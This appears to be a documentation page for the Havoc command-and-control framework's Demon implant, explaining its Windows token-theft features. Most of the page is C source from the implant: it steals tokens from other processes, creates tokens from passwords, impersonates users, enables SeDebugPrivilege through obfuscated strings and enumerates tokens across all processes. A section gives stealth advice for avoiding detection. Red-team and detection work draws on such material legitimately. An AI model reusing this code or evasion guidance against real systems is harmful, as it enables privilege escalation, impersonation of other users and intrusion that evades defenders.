Token Management

Overview

Havoc implements a comprehensive token management system that allows operators to steal, store, and impersonate Windows access tokens. This enables privilege escalation, lateral movement, and operating under different security contexts.

The token vault maintains a linked list of stolen and created tokens that persist across commands, allowing operators to switch between security contexts on demand.

Token Vault Architecture

The token vault is a linked list structure that stores token metadata: Source: payloads/Demon/include/core/Token.h:80

typedef struct _TOKEN_LIST_DATA {
    HANDLE  Handle;           // Token handle
    LPWSTR  DomainUser;       // DOMAIN\User format
    DWORD   dwProcessID;      // Source process (for stolen tokens)
    SHORT   Type;             // TOKEN_TYPE_STOLEN or TOKEN_TYPE_MAKE_NETWORK
    
    // For make_token credentials
    LPWSTR  lpUser;
    LPWSTR  lpPassword;
    LPWSTR  lpDomain;
    
    struct _TOKEN_LIST_DATA* NextToken;  // Linked list
} TOKEN_LIST_DATA, *PTOKEN_LIST_DATA;

Token Operations

Stealing Tokens

Tokens can be stolen from running processes using NtOpenProcessToken or NtDuplicateObject: Source: payloads/Demon/src/core/Token.c:414

HANDLE TokenSteal(IN DWORD ProcessID, IN HANDLE TargetHandle) {
    HANDLE hProcess  = NULL;
    HANDLE hTokenDup = NULL;
    
    hProcess = ProcessOpen(ProcessID, 
                          PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE);
    
    if (TargetHandle) {
        // Steal a specific handle from the process
        NtStatus = SysNtDuplicateObject(
            hProcess, 
            TargetHandle, 
            NtCurrentProcess(), 
            &hTokenDup, 
            0, 0, 
            DUPLICATE_SAME_ACCESS
        );
    } else {
        // Steal the primary process token
        NtStatus = SysNtOpenProcessToken(
            hProcess, 
            TOKEN_DUPLICATE | TOKEN_QUERY, 
            &hTokenDup
        );
    }
    
    return hTokenDup;
}

Usage Example

steal_token 1234

Steals the primary token from process ID 1234.

Make Token

Create tokens from credentials using LogonUserW: Source: payloads/Demon/src/core/Token.c:598

HANDLE TokenMake(LPWSTR User, LPWSTR Password, LPWSTR Domain, 
                 DWORD LogonType) {
    HANDLE hToken = NULL;
    
    // Revert to self before creating new token
    if (!TokenRevSelf()) {
        PRINTF("Failed to revert to self: Error:[%d]\n", NtGetLastError());
    }
    
    if (!Instance->Win32.LogonUserW(
        User, 
        Domain, 
        Password, 
        LogonType,
        LogonType == LOGON32_LOGON_NEW_CREDENTIALS 
            ? LOGON32_PROVIDER_WINNT50 
            : LOGON32_PROVIDER_DEFAULT,
        &hToken
    )) {
        PUTS("LogonUserW: Failed");
        PACKAGE_ERROR_WIN32;
    }
    
    return hToken;
}

Logon Types:

LOGON32_LOGON_NEW_CREDENTIALS (9): Network credentials only (like runas /netonly)
LOGON32_LOGON_INTERACTIVE (2): Full interactive logon
LOGON32_LOGON_NETWORK (3): Network logon

Token Duplication

Tokens are duplicated to create impersonation tokens: Source: payloads/Demon/src/core/Token.c:37

BOOL TokenDuplicate(
    IN  HANDLE        TokenOriginal,
    IN  DWORD         Access,
    IN  SEC_IMP_LEVEL ImpersonateLevel,
    IN  TOKEN_TYPE    TokenType,
    OUT PHANDLE       TokenNew
) {
    OBJECT_ATTRIBUTES   ObjAttr = {0};
    SEC_QUALITY_SERVICE Sqos    = {0};
    
    Sqos.Length              = sizeof(SEC_QUALITY_SERVICE);
    Sqos.ImpersonationLevel  = ImpersonateLevel;
    Sqos.ContextTrackingMode = 0;
    Sqos.EffectiveOnly       = FALSE;
    
    InitializeObjectAttributes(&ObjAttr, NULL, 0, NULL, NULL);
    ObjAttr.SecurityQualityOfService = &Sqos;
    
    // Use indirect syscall for duplication
    if (!NT_SUCCESS(SysNtDuplicateToken(
        TokenOriginal, 
        Access, 
        &ObjAttr, 
        FALSE, 
        TokenType, 
        TokenNew
    ))) {
        return FALSE;
    }
    
    return TRUE;
}

Impersonation

Tokens are applied to the current thread using NtSetInformationThread: Source: payloads/Demon/src/core/Token.c:1281

BOOL SysImpersonateLoggedOnUser(HANDLE hToken) {
    SECURITY_QUALITY_OF_SERVICE Qos = {0};
    OBJECT_ATTRIBUTES ObjectAttributes = {0};
    HANDLE NewToken = NULL;
    TOKEN_TYPE Type = 0;
    
    // Get token type
    SysNtQueryInformationToken(
        hToken, TokenType, &Type, 
        sizeof(TOKEN_TYPE), &ReturnLength
    );
    
    if (Type == TokenPrimary) {
        // Duplicate as impersonation token
        Qos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
        Qos.ImpersonationLevel = SecurityImpersonation;
        Qos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING;
        Qos.EffectiveOnly = FALSE;
        
        SysNtDuplicateToken(
            hToken,
            TOKEN_IMPERSONATE | TOKEN_QUERY,
            &ObjectAttributes,
            FALSE,
            TokenImpersonation,
            &NewToken
        );
    } else {
        NewToken = hToken;
    }
    
    // Apply token to current thread
    Status = SysNtSetInformationThread(
        NtCurrentThread(),
        ThreadImpersonationToken,
        &NewToken,
        sizeof(HANDLE)
    );
    
    return NT_SUCCESS(Status);
}

Reverting Impersonation

Remove thread impersonation: Source: payloads/Demon/src/core/Token.c:74

BOOL TokenRevSelf(VOID) {
    HANDLE Token = NULL;
    NTSTATUS NtStatus = STATUS_SUCCESS;
    
    // Set thread token to NULL (revert to process token)
    if (!NT_SUCCESS(SysNtSetInformationThread(
        NtCurrentThread(), 
        ThreadImpersonationToken, 
        &Token, 
        sizeof(HANDLE)
    ))) {
        return FALSE;
    }
    
    return TRUE;
}

Privilege Management

Havoc can enable/disable token privileges: Source: payloads/Demon/src/core/Token.c:203

BOOL TokenSetPrivilege(IN LPSTR Privilege, IN BOOL Enable) {
    TOKEN_PRIVILEGES TokenPrivileges = {0};
    LUID TokenLUID = {0};
    HANDLE hToken = NULL;
    
    if (!Instance->Win32.LookupPrivilegeValueA(
        NULL, Privilege, &TokenLUID
    )) {
        return FALSE;
    }
    
    TokenPrivileges.PrivilegeCount = 1;
    TokenPrivileges.Privileges[0].Luid = TokenLUID;
    TokenPrivileges.Privileges[0].Attributes = 
        Enable ? SE_PRIVILEGE_ENABLED : 0;
    
    SysNtOpenProcessToken(
        NtCurrentProcess(), TOKEN_ALL_ACCESS, &hToken
    );
    
    if (!Instance->Win32.AdjustTokenPrivileges(
        hToken, FALSE, &TokenPrivileges, 0, NULL, NULL
    )) {
        return FALSE;
    }
    
    return TRUE;
}

Common Privileges

SeDebugPrivilege

Source: payloads/Demon/src/core/Token.c:240Enables opening handles to any process:

BOOL TokenSetSeDebugPriv(IN BOOL Enable) {
    CHAR PrivName[17] = {0};
    // Obfuscated "SeDebugPrivilege"
    PrivName[2] = HideChar('D');
    PrivName[9] = HideChar('i');
    // ... (obfuscation for OPSEC)
    return TokenSetPrivilege(PrivName, Enable);
}

SeImpersonatePrivilege

Source: payloads/Demon/src/core/Token.c:271Required for impersonating tokens:

BOOL TokenSetSeImpersonatePriv(IN BOOL Enable) {
    CHAR PrivName[23] = {0};
    // Obfuscated "SeImpersonatePrivilege"
    return TokenSetPrivilege(PrivName, Enable);
}

Token Enumeration

Havoc can enumerate all accessible tokens on the system: Source: payloads/Demon/src/core/Token.c:1130

BOOL ListTokens(PUSER_TOKEN_DATA* pTokens, PDWORD pNumTokens) {
    PSYSTEM_HANDLE_INFORMATION handleTableInformation = NULL;
    PPROCESS_LIST ProcessList = NULL;
    
    // Enable SeDebugPrivilege
    TokenSetSeDebugPriv(TRUE);
    
    // Get the object type index for "Token"
    GetTypeIndexToken(&TokenTypeIndex);
    
    // Get all system handles
    GetAllHandles(&handleTableInformation, &handleTableInformationSize);
    
    // Extract unique process IDs
    GetProcessesFromHandleTable(handleTableInformation, &ProcessList);
    
    // Loop through each process
    for (ULONG i = 0; i < ProcessList->Count; i++) {
        ProcessId = ProcessList->ProcessId[i];
        
        hProcess = ProcessOpen(ProcessId, 
                              PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE);
        
        // Loop through handles in this process
        for (ULONG j = 0; j < handleTableInformation->NumberOfHandles; j++) {
            if (handleInfo->ObjectTypeIndex == TokenTypeIndex) {
                // Duplicate the token
                SysNtDuplicateObject(
                    hProcess,
                    handleInfo->HandleValue,
                    NtCurrentProcess(),
                    &hToken,
                    0, 0,
                    DUPLICATE_SAME_ACCESS
                );
                
                // Process and store if valid
                ProcessUserToken(hToken, ProcessId, handleInfo->HandleValue, 
                               CheckUsername, &CurrentUser, Tokens, &NumTokens);
            }
        }
    }
}

Token Validation

Source: payloads/Demon/src/core/Token.c:802

BOOL CanTokenBeImpersonated(IN HANDLE hToken) {
    BOOL Success = FALSE;
    HANDLE hImp = NULL;
    
    // Try to impersonate the token
    if (!SysImpersonateLoggedOnUser(hToken))
        return FALSE;
    
    // Try to open a handle to the current token
    Success = Instance->Win32.OpenThreadToken(
        NtCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hImp
    );
    
    TokenRevSelf();
    
    if (!Success)
        return FALSE;
    
    // Verify it kept impersonation status
    Success = IsImpersonationToken(hImp);
    SysNtClose(hImp);
    
    return Success;
}

Token Metadata Extraction

Source: payloads/Demon/src/core/Token.c:103

BOOL TokenQueryOwner(
    IN  HANDLE  Token,
    OUT PBUFFER UserDomain,
    IN  DWORD   Flags
) {
    PTOKEN_USER UserInfo = NULL;
    ULONG UserSize = 0;
    SID_NAME_USE SidType = 0;
    
    // Get TOKEN_USER structure
    SysNtQueryInformationToken(Token, TokenUser, 
                              UserInfo, 0, &UserSize);
    UserInfo = MmHeapAlloc(UserSize);
    SysNtQueryInformationToken(Token, TokenUser, 
                              UserInfo, UserSize, &UserSize);
    
    // Convert SID to username and domain
    Instance->Win32.LookupAccountSidW(
        NULL, 
        UserInfo->User.Sid, 
        User,     &UserLen,
        Domain,   &DomnLen,
        &SidType
    );
    
    // Format as DOMAIN\User
    if (Flags == TOKEN_OWNER_FLAG_DEFAULT) {
        UserDomain->Buffer[DomnLen * sizeof(WCHAR)] = '\\\';
    }
    
    return TRUE;
}

OPSEC Considerations

Detection Vectors:

Handle Duplication: Duplicating tokens from other processes generates ObRegisterCallbacks events
Token Enumeration: Querying all system handles is highly anomalous
Impersonation Events: Thread impersonation can trigger ETW events
Privilege Changes: Enabling SeDebugPrivilege is a common IoC
Credential Use: LogonUserW generates Windows Event ID 4624

Stealth Recommendations

Targeted Stealing: Only steal tokens from specific processes, not enumerate all
Legitimate Processes: Target tokens from expected service accounts
Short Duration: Minimize time spent impersonating
Clean Vault: Remove tokens after use with token clear

Vault Management

Adding Tokens

Source: payloads/Demon/src/core/Token.c:323

DWORD TokenAdd(
    IN HANDLE hToken,
    IN LPWSTR DomainUser,
    IN SHORT  Type,
    IN DWORD  dwProcessID,
    IN LPWSTR User,
    IN LPWSTR Domain,
    IN LPWSTR Password
) {
    PTOKEN_LIST_DATA TokenEntry = NULL;
    DWORD TokenIndex = 0;
    
    TokenEntry = Instance->Win32.LocalAlloc(LPTR, sizeof(TOKEN_LIST_DATA));
    TokenEntry->Handle      = hToken;
    TokenEntry->DomainUser  = DomainUser;
    TokenEntry->dwProcessID = dwProcessID;
    TokenEntry->Type        = Type;
    TokenEntry->lpUser      = User;
    TokenEntry->lpDomain    = Domain;
    TokenEntry->lpPassword  = Password;
    TokenEntry->NextToken   = NULL;
    
    // Add to linked list
    if (Instance->Tokens.Vault == NULL) {
        Instance->Tokens.Vault = TokenEntry;
        return 0;
    }
    
    TokenList = Instance->Tokens.Vault;
    while (TokenList->NextToken != NULL) {
        TokenList = TokenList->NextToken;
        TokenIndex++;
    }
    
    TokenList->NextToken = TokenEntry;
    return TokenIndex + 1;
}

Removing Tokens

Source: payloads/Demon/src/core/Token.c:474 Tokens are securely removed from the vault with memory zeroing:

BOOL TokenRemove(DWORD TokenID) {
    PTOKEN_LIST_DATA TokenItem = TokenGet(TokenID);
    
    // Revert if currently impersonating this token
    if (Instance->Tokens.Impersonate && 
        Instance->Tokens.Token->Handle == TokenItem->Handle) {
        TokenImpersonate(FALSE);
    }
    
    // Close handle
    if (TokenItem->Handle) {
        SysNtClose(TokenItem->Handle);
    }
    
    // Zero and free all strings
    if (TokenItem->DomainUser) {
        MemSet(TokenItem->DomainUser, 0, 
               StringLengthW(TokenItem->DomainUser) * sizeof(WCHAR));
        Instance->Win32.LocalFree(TokenItem->DomainUser);
    }
    
    // Zero structure and free
    MemSet(TokenItem, 0, sizeof(TOKEN_LIST_DATA));
    Instance->Win32.LocalFree(TokenItem);
    
    return TRUE;
}

Indirect Syscalls - Used for all token operations
Process injection with stolen tokens
Kerberos ticket extraction and injection

References

Token implementation: payloads/Demon/src/core/Token.c
Header definitions: payloads/Demon/include/core/Token.h
Syscall usage: payloads/Demon/src/core/Syscalls.c

Get Started

Core Concepts

Demon Agent

Listeners

Extensibility

Advanced

Overview

Token Vault Architecture

Token Operations

Stealing Tokens

Make Token

Token Duplication

Impersonation

Reverting Impersonation

Privilege Management

Common Privileges

Token Enumeration

Token Validation

Token Metadata Extraction

OPSEC Considerations

Stealth Recommendations

Vault Management

Adding Tokens

Removing Tokens

References

Build docs developers (and LLMs) love

Get Started

Core Concepts

Demon Agent

Listeners

Extensibility

Advanced

Documentation Index

​Overview

​Token Vault Architecture

​Token Operations

​Stealing Tokens

​Make Token

​Token Duplication

​Impersonation

​Reverting Impersonation

​Privilege Management

​Common Privileges

​Token Enumeration

​Token Validation

​Token Metadata Extraction

​OPSEC Considerations

​Stealth Recommendations

​Vault Management

​Adding Tokens

​Removing Tokens

​Related Techniques

​References

Build docs developers (and LLMs) love

Overview

Token Vault Architecture

Token Operations

Stealing Tokens

Make Token

Token Duplication

Impersonation

Reverting Impersonation

Privilege Management

Common Privileges

Token Enumeration

Token Validation

Token Metadata Extraction

OPSEC Considerations

Stealth Recommendations

Vault Management

Adding Tokens

Removing Tokens

Related Techniques

References